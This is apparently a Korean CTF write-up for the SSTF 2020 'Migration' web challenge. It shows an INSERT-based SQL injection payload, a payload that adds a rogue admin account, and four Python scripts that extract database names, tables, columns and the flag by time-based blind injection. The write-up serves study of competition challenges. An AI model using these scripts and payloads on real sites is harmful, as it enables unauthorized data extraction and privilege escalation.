Profile

i love cat

as3617

SSTF CTF 2020 Web - Migration

Migration

두 개의 링크를 주고 있다.

 

http://migration.sstf.site:5555/

http://migration.sstf.site:7777/

 

첫번째 링크에는 register가 포함되있고 두번째 링크는 로그인 후 admin 페이지를 제공해준다.

문제에서 주어진 파일을 보면 user의 정보를 포함하고 있는데 아래와 같이 이루어져 있다.

 

idx    user_id    password
1    user1    c4ca4238a0b923820dcc509a6f75849b
2    user2    c81e728d9d4c2f636f067f89cc14862c

 

이때 password는 md5해쉬로 이루어져 있었고 user1의 password가 1인걸로 봐선 나머지 유저의 password도 id에 붙어있는 숫자라는 것을 추측해낼 수 있었다.

 

image-20200818191142093

 

admin 페이지에 접근하면 위와 같이 admin권한이 필요하다고 한다.

sql injection이라 생각하여 공격을 진행하였고

 

image-20200818191340861

 

7777번 포트의 페이지에선 addslashes함수를 통해 sql injection을 방어하고 있었다.

그래서 5555번 포트의 페이지에서 공격을 진행하였고 로그인 후 migration page에서 insert sql injection을 터트릴 수 있었다.

 

payload

id="noel','c4ca4238a0b923820dcc509a6f75849b')#", pw = asadfasdf

위의 payload를 migration page에 전송하면 정상적으로 로그인을 할 수 있다.

sql injection에 취약하기 때문에 database 내부의 값을 뽑아올 수 있다.

time based blind sql injection을 통해 공격을 진행하였다.

 

get_database.py

import requests
import string
import time

url = 'http://migration.sstf.site:5555/migrate.php'
id = 'as3617'
extract_data = ''
for i in range(1,80):
    for j in string.printable:
        pay = id +"',(if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i)+",1))="+str(ord(j))+",sleep(5),0)))#"
        data = {'id': pay,'pw':1234}
        starttime = time.time()
        res = requests.post(url,data=data)
        endtime = time.time()
        res = res.text
        print(extract_data+j)
        if endtime-starttime>3:
            print("find!")
            extract_data += str(j)
            break
        else:
            continue

get_table.py

import requests
import string
import time

url = 'http://migration.sstf.site:5555/migrate.php'
id = 'as3617'
extract_data = ''
for i in range(1,80):
    for j in string.printable:
        pay = id +"',(if(ascii(substr((select table_name from information_schema.tables where table_schema=\"siteb\" limit 0,1),"+str(i)+",1))="+str(ord(j))+",sleep(5),0)))#"
        data = {'id': pay,'pw':1234}
        starttime = time.time()
        res = requests.post(url,data=data)
        endtime = time.time()
        res = res.text
        print(extract_data+j)
        if endtime-starttime>3:
            print("find!")
            extract_data += str(j)
            break
        else:
            continue

get_column.py

import requests
import string
import time

url = 'http://migration.sstf.site:5555/migrate.php'
id = 'as3617'
extract_data = ''
for i in range(1,80):
    for j in string.printable:
        pay = id +"',(if(ascii(substr((select column_name from information_schema.columns where table_name=\"member\" limit 0,1),"+str(i)+",1))="+str(ord(j))+",sleep(5),0)))#"
        data = {'id': pay,'pw':1234}
        starttime = time.time()
        res = requests.post(url,data=data)
        endtime = time.time()
        res = res.text
        print(extract_data+j)
        if endtime-starttime>3:
            print("find!")
            extract_data += str(j)
            break
        else:
            continue

위의 코드를 통해 database 내부의 구조를 알아낼 수 있었다.

 

siteb : database
 - infor: table
 - log : table
 - member :table
   - idx : column
   - is_admin : column
   - user_id : column
   - password : column
 - reset_history: table

알아낸 구조를 토대로 migration page의 query를 추측해보았다.

 

insert into member (idx,is_admin,'injection_point',md5('password'));

 

insert query에서는 한번에 여러개의 데이터를 삽입할 수 있기 때문에 아래와 같이 payload를 삽입할 경우 admin권한을 가진 임의의 계정을 생성할 수 있다.

 

dummy','1'),(999999,1,'as3617','c4ca4238a0b923820dcc509a6f75849b')#

payload를 삽입한 뒤 7777번 포트의 페이지에서 로그인을 진행하면 admin권한을 가진 상태로 정상적으로 로그인이 된다.

 

image-20200818193435991image-20200818193445160

이때 information부분에서

image-20200818193513361

 

위와 같이 PW부분에 플래그가 들어가있었고 page의 이름이 information이였기 때문에 information table의 pw칼럼에 플래그가 존재할 것이라 생각하여 위에서 사용했던 코드를 수정하여 플래그를 추출하였다.

 

get_flag.py

import requests
import string
import time

url = 'http://migration.sstf.site:5555/migrate.php'
id = 'as3617'
extract_data = ''
for i in range(1,40):
    for j in string.printable:
        pay = id +"',(if(ascii(substr((select pw from information),"+str(i)+",1))="+str(ord(j))+",sleep(5),0)))#"
        data = {'id': pay,'pw':1234}
        starttime = time.time()
        res = requests.post(url,data=data)
        endtime = time.time()
        res = res.text
        print(extract_data+j)
        if endtime-starttime>3:
            print("find!")
            extract_data += str(j)
            if str(j)=="}":
                break
            break
        else:
            continue
print('[*]FLAG : '+str(extract_data))
FLAG : SCTF{M34n1ng1e55_a1r_g4p}

'ctf writeup' 카테고리의 다른 글

Layer7 CTF 2020 writeup  (0) 2020.11.15
사이버작전경연대회 2020 본선 - [Web] PMS writeup  (0) 2020.10.19
m0leCon CTF 2020 Teaser Web Writeup  (0) 2020.05.25
CONfidenceCTF Web writeup - Cat web  (0) 2020.03.15
Christmas CTF web writeup  (0) 2019.12.26